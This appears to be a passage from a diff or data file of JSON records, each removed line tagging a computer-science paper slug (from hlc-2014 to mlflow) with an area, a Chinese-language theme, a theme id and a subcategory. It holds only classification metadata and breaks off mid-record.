-{"slug":"hlc-2014","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"共识与复制","source":"candidates.topic","confidence":"high","rawCategory":"分布式系统"} -{"slug":"hnsw-2018","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} -{"slug":"hoare-logic","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"编程语言 / 形式化方法","source":"category","confidence":"high","rawCategory":"编程语言"} -{"slug":"hol-light-2009","area":"papers","theme":"形式化方法","themeId":"formal-methods","subcategory":"形式化验证","source":"candidates.topic","confidence":"high","rawCategory":"形式化方法"} -{"slug":"holzmann-spin-1997","area":"papers","theme":"形式化方法","themeId":"formal-methods","subcategory":"形式化验证","source":"candidates.topic","confidence":"high","rawCategory":"形式化方法"} -{"slug":"hopper-architecture-2022","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"GPU 架构","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"hotspot-server-compiler","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"hotstuff-2019","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"共识与复制","source":"candidates.topic","confidence":"high","rawCategory":"分布式系统"} -{"slug":"hott-book-2013","area":"papers","theme":"形式化方法","themeId":"formal-methods","subcategory":"形式化验证","source":"candidates.topic","confidence":"high","rawCategory":"形式化方法"} -{"slug":"hour-llava-2025","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"http-2","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"category","confidence":"high","rawCategory":"网络协议"} -{"slug":"hu-2018-mls-mpm","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"huffman-1952","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"信息论 / 算法","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"hughes-fp-matters","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"hydra-1974","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"内核与虚拟化","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} -{"slug":"hyperkernel-2017","area":"papers","theme":"形式化方法","themeId":"formal-methods","subcategory":"形式化验证","source":"candidates.topic","confidence":"high","rawCategory":"形式化方法"} -{"slug":"ice-rfc-5245","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"candidates.topic","confidence":"high","rawCategory":"网络协议"} -{"slug":"idris-brady","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"imagen-2022","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"immix-mark-region","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"indri-2005","area":"papers","theme":"信息检索","themeId":"info-retrieval","subcategory":"检索与排序","source":"candidates.topic","confidence":"high","rawCategory":"信息检索"} -{"slug":"induction-heads","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"AI 可解释性","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"infer-biabduction","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"ingres-1976","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} -{"slug":"instant-ngp-2022","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"instructgpt","area":"papers","theme":"NLP","themeId":"nlp","subcategory":"NLP","source":"category","confidence":"high","rawCategory":"NLP"} -{"slug":"internvideo2-2024","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"internvideo2-5-2025","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"internvl-2023","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"io-uring","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"操作系统","source":"category","confidence":"high","rawCategory":"操作系统"} -{"slug":"ipfs-2014","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"candidates.topic","confidence":"high","rawCategory":"网络协议"} -{"slug":"iris-2015","area":"papers","theme":"形式化方法","themeId":"formal-methods","subcategory":"形式化验证","source":"candidates.topic","confidence":"high","rawCategory":"形式化方法"} -{"slug":"ironfleet-2015","area":"papers","theme":"形式化方法","themeId":"formal-methods","subcategory":"形式化验证","source":"candidates.topic","confidence":"high","rawCategory":"形式化方法"} -{"slug":"isabelle-hol-2002","area":"papers","theme":"形式化方法","themeId":"formal-methods","subcategory":"形式化验证","source":"candidates.topic","confidence":"high","rawCategory":"形式化方法"} -{"slug":"islands-architecture","area":"papers","theme":"后端 API","themeId":"backend-api","subcategory":"前端框架","source":"category","confidence":"high","rawCategory":"后端 API"} -{"slug":"ix-2014","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"内核与虚拟化","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} -{"slug":"jacobson-1988","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"candidates.topic","confidence":"high","rawCategory":"网络协议"} -{"slug":"janus-2016","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"共识与复制","source":"candidates.topic","confidence":"high","rawCategory":"分布式系统"} -{"slug":"jemalloc-2006","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"内核与虚拟化","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} -{"slug":"jensen-1996-photon-mapping","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"jupiter-1995","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"共识与复制","source":"candidates.topic","confidence":"high","rawCategory":"分布式系统"} -{"slug":"jupiter-2015","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"candidates.topic","confidence":"high","rawCategory":"网络协议"} -{"slug":"jwt-rfc-7519","area":"papers","theme":"后端 API","themeId":"backend-api","subcategory":"后端","source":"category","confidence":"high","rawCategory":"后端 API"} -{"slug":"k3s","area":"papers","theme":"基础设施","themeId":"infrastructure","subcategory":"基础设施","source":"category","confidence":"high","rawCategory":"基础设施"} -{"slug":"kademlia-2002","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"candidates.topic","confidence":"high","rawCategory":"网络协议"} -{"slug":"kafka-2011","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} -{"slug":"kafka","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"databases / 分布式系统","source":"category","confidence":"high","rawCategory":"分布式系统"} -{"slug":"kahn-natural-semantics","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"kairouz-advances-fl-2019","area":"papers","theme":"安全与隐私","themeId":"security-privacy","subcategory":"安全与隐私","source":"candidates.topic","confidence":"high","rawCategory":"安全与隐私"} -{"slug":"kajiya-1986-rendering-equation","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"kami-2017","area":"papers","theme":"形式化方法","themeId":"formal-methods","subcategory":"形式化验证","source":"candidates.topic","confidence":"high","rawCategory":"形式化方法"} -{"slug":"karger-1997-consistent-hashing","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"candidates.topic","confidence":"high","rawCategory":"网络协议"} -{"slug":"karis-2014-taa","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"karis-2014-ue4-pbr","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"karp-21","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"计算理论","source":"category","confidence":"high","rawCategory":"编程语言"} -{"slug":"karras-2012-parallel-bvh","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"kazhdan-2006-poisson-recon","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"kepler-architecture-2012","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"GPU 架构","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"kildall-dataflow","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"kim-rowhammer-2014","area":"papers","theme":"安全与隐私","themeId":"security-privacy","subcategory":"安全与隐私","source":"candidates.topic","confidence":"high","rawCategory":"安全与隐私"} -{"slug":"knrm-2017","area":"papers","theme":"信息检索","themeId":"info-retrieval","subcategory":"检索与排序","source":"candidates.topic","confidence":"high","rawCategory":"信息检索"} -{"slug":"knuth-lr-1965","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"knuth-taocp","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"算法","source":"category","confidence":"high","rawCategory":"编程语言"} -{"slug":"kocher-spectre-2019","area":"papers","theme":"安全与隐私","themeId":"security-privacy","subcategory":"安全与隐私","source":"candidates.topic","confidence":"high","rawCategory":"安全与隐私"} -{"slug":"kokkos-2014","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"GPU 架构","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"koren-mf-2009","area":"papers","theme":"信息检索","themeId":"info-retrieval","subcategory":"检索与排序","source":"candidates.topic","confidence":"high","rawCategory":"信息检索"} -{"slug":"krishnamurthy-1999-http11","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"candidates.topic","confidence":"high","rawCategory":"网络协议"} -{"slug":"kubernetes-2016","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"内核与虚拟化","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} -{"slug":"kustomize","area":"papers","theme":"基础设施","themeId":"infrastructure","subcategory":"基础设施","source":"category","confidence":"high","rawCategory":"基础设施"} -{"slug":"kvm-2007","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"内核与虚拟化","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} -{"slug":"l4-1995","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"内核与虚拟化","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} -{"slug":"label-smoothing-2016","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"lafortune-1993-bdpt","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"lalr-deremer","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"lambda-calculus","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"编程语言 / 计算理论","source":"category","confidence":"high","rawCategory":"编程语言"} -{"slug":"lambdarank-2006","area":"papers","theme":"信息检索","themeId":"info-retrieval","subcategory":"检索与排序","source":"candidates.topic","confidence":"high","rawCategory":"信息检索"} -{"slug":"lamport-1978","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"papers / 分布式系统","source":"category","confidence":"high","rawCategory":"分布式系统"} -{"slug":"lamport-tla-1994","area":"papers","theme":"形式化方法","themeId":"formal-methods","subcategory":"形式化验证","source":"candidates.topic","confidence":"high","rawCategory":"形式化方法"} -{"slug":"lampson-hints","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"系统设计","source":"category","confidence":"high","rawCategory":"分布式系统"} -{"slug":"landin-secd","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"layernorm-2016","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"lean-prover","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"lean-tactics","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"lee-keystone-2020","area":"papers","theme":"安全与隐私","themeId":"security-privacy","subcategory":"安全与隐私","source":"candidates.topic","confidence":"high","rawCategory":"安全与隐私"} -{"slug":"leis-2015-optimizers","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} -{"slug":"lerner-seminal","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"levoy-hanrahan-1996-light-field","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"lfs-1991","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"内核与虚拟化","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} -{"slug":"li-2018-redner","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"li-t-closeness-2007","area":"papers","theme":"安全与隐私","themeId":"security-privacy","subcategory":"安全与隐私","source":"candidates.topic","confidence":"high","rawCategory":"安全与隐私"} -{"slug":"lieberman-realtime-gc","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"lindholm-2008-tesla","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"linear-scan-reg-alloc","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"linear-types","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"category","confidence":"high","rawCategory":"编程语言"} -{"slug":"linearizability-1990","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"共识与复制","source":"candidates.topic","confidence":"high","rawCategory":"分布式系统"} -{"slug":"lion-2023","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"lipp-meltdown-2018","area":"papers","theme":"安全与隐私","themeId":"security-privacy","subcategory":"安全与隐私","source":"candidates.topic","confidence":"high","rawCategory":"安全与隐私"} -{"slug":"liquid-types","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"liu-2020-dlss","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"livevlm-2025","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"llama-vid-2023","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"llama","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"NLP / LLM","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"llava-onevision-2024","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"llava-video-2024","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"llava","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"多模态 / NLP","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"llm-int8-2022","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"GPU 架构","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"llm-wiki-retrieval-reasoning","area":"papers","theme":"Agent","themeId":"agents","subcategory":"智能体与 LLM","source":"candidates.topic","confidence":"high","rawCategory":"Agent"} -{"slug":"llmvs-2025","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"llvm","area":"papers","theme":"编译器","themeId":"compilers","subcategory":"编译器","source":"category","confidence":"high","rawCategory":"编译器"} -{"slug":"lmdb-2011","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} -{"slug":"local-type-inference","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"locus-1980","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"内核与虚拟化","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} -{"slug":"logjam-2015","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"candidates.topic","confidence":"high","rawCategory":"网络协议"} -{"slug":"logoot-2010","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"共识与复制","source":"candidates.topic","confidence":"high","rawCategory":"分布式系统"} -{"slug":"long-video-retrieval-2023","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"longformer-2020","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"longva-2024","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"longvideobench-2024","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"longvila-2024","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"loop-1987-subdivision","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"lottery-1994","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"内核与虚拟化","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} -{"slug":"lottery-ticket-2019","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"lsh-indyk-1998","area":"papers","theme":"信息检索","themeId":"info-retrieval","subcategory":"检索与排序","source":"candidates.topic","confidence":"high","rawCategory":"信息检索"} -{"slug":"lsm-tree-1996","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} -{"slug":"lstm-1997","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"lucky13-2013","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"candidates.topic","confidence":"high","rawCategory":"网络协议"} -{"slug":"lvbench-2024","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"mach-1986","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"内核与虚拟化","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} -{"slug":"mach-vm-1987","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"内核与虚拟化","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} -{"slug":"machanavajjhala-l-diversity-2007","area":"papers","theme":"安全与隐私","themeId":"security-privacy","subcategory":"安全与隐私","source":"candidates.topic","confidence":"high","rawCategory":"安全与隐私"} -{"slug":"macklin-2014-position-based-fluids","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"madry-pgd-2017","area":"papers","theme":"安全与隐私","themeId":"security-privacy","subcategory":"安全与隐私","source":"candidates.topic","confidence":"high","rawCategory":"安全与隐私"} -{"slug":"mae","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"计算机视觉 / 自监督","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"magic3d-2023","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"mahajan-2002-bgp-misconfig","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"candidates.topic","confidence":"high","rawCategory":"网络协议"} -{"slug":"mamba","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"NLP / 深度学习","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"maml-2017","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"mapreduce","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"分布式系统","source":"category","confidence":"high","rawCategory":"分布式系统"} -{"slug":"marching-cubes-1987","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"maron-kuhns-1960","area":"papers","theme":"信息检索","themeId":"info-retrieval","subcategory":"检索与排序","source":"candidates.topic","confidence":"high","rawCategory":"信息检索"} -{"slug":"marques-silva-grasp-1996","area":"papers","theme":"形式化方法","themeId":"formal-methods","subcategory":"形式化验证","source":"candidates.topic","confidence":"high","rawCategory":"形式化方法"} -{"slug":"martin-lof-itt","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"mattern-1989","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"共识与复制","source":"candidates.topic","confidence":"high","rawCategory":"分布式系统"} -{"slug":"maxwell-architecture-2014","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"GPU 架构","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"mccarthy-lisp","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"编程语言","source":"category","confidence":"high","rawCategory":"编程语言"} -{"slug":"mcfarling-bp-1993","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"GPU 架构","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"mcmahan-fedavg-2017","area":"papers","theme":"安全与隐私","themeId":"security-privacy","subcategory":"安全与隐私","source":"candidates.topic","confidence":"high","rawCategory":"安全与隐私"} -{"slug":"mcmillan-smv-1993","area":"papers","theme":"形式化方法","themeId":"formal-methods","subcategory":"形式化验证","source":"candidates.topic","confidence":"high","rawCategory":"形式化方法"} -{"slug":"mcp-spec","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"AI 工程","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"mcs-locks-1991","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"内核与虚拟化","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} -{"slug":"meagher-1982-octree","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"medusa-2024","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"GPU 架构","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"megastore-2011","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"共识与复制","source":"candidates.topic","confidence":"high","rawCategory":"分布式系统"} -{"slug":"megatron-lm","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"模型与训练","source":"category","confidence":"high","rawCategory":"分布式系统"} -{"slug":"memcached-fb-2013","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"共识与复制","source":"candidates.topic","confidence":"high","rawCategory":"分布式系统"} -{"slug":"memcoder-co-evolution","area":"papers","theme":"Agent","themeId":"agents","subcategory":"智能体与 LLM","source":"candidates.topic","confidence":"high","rawCategory":"Agent"} -{"slug":"mencius-2008","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"共识与复制","source":"candidates.topic","confidence":"high","rawCategory":"分布式系统"} -{"slug":"mermaid","area":"papers","theme":"基础设施","themeId":"infrastructure","subcategory":"工具与基础设施","source":"category","confidence":"high","rawCategory":"基础设施"} -{"slug":"mesa-optimization-2019","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"mesos-2011","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"内核与虚拟化","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} -{"slug":"metagpt","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"智能体与 LLM","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"metaml-multi-stage","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"metcalfe-boggs-1976","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"candidates.topic","confidence":"high","rawCategory":"网络协议"} -{"slug":"mills-ntp-1991","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"candidates.topic","confidence":"high","rawCategory":"网络协议"} -{"slug":"millwheel-2013","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} -{"slug":"milner-pi-calculus","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"milvus-2021","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} -{"slug":"mind-skill","area":"papers","theme":"Agent","themeId":"agents","subcategory":"智能体与 LLM","source":"candidates.topic","confidence":"high","rawCategory":"Agent"} -{"slug":"mine-octagon-2006","area":"papers","theme":"形式化方法","themeId":"formal-methods","subcategory":"形式化验证","source":"candidates.topic","confidence":"high","rawCategory":"形式化方法"} -{"slug":"minhash-broder-1997","area":"papers","theme":"信息检索","themeId":"info-retrieval","subcategory":"检索与排序","source":"candidates.topic","confidence":"high","rawCategory":"信息检索"} -{"slug":"minicpm-v-2024","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"minisat-2003","area":"papers","theme":"形式化方法","themeId":"formal-methods","subcategory":"形式化验证","source":"candidates.topic","confidence":"high","rawCategory":"形式化方法"} -{"slug":"mips-1981","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"GPU 架构","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"mirage-2013","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"内核与虚拟化","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} -{"slug":"mironov-renyi-dp-2017","area":"papers","theme":"安全与隐私","themeId":"security-privacy","subcategory":"安全与隐私","source":"candidates.topic","confidence":"high","rawCategory":"安全与隐私"} -{"slug":"misevolution-2509","area":"papers","theme":"Agent","themeId":"agents","subcategory":"智能体与 LLM","source":"candidates.topic","confidence":"high","rawCategory":"Agent"} -{"slug":"mitls-2014-triple-handshake","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"candidates.topic","confidence":"high","rawCategory":"网络协议"} -{"slug":"mixture-of-experts","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"NLP / 深度学习","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"mixup-2018","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"mlflow","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"MLOps / ML 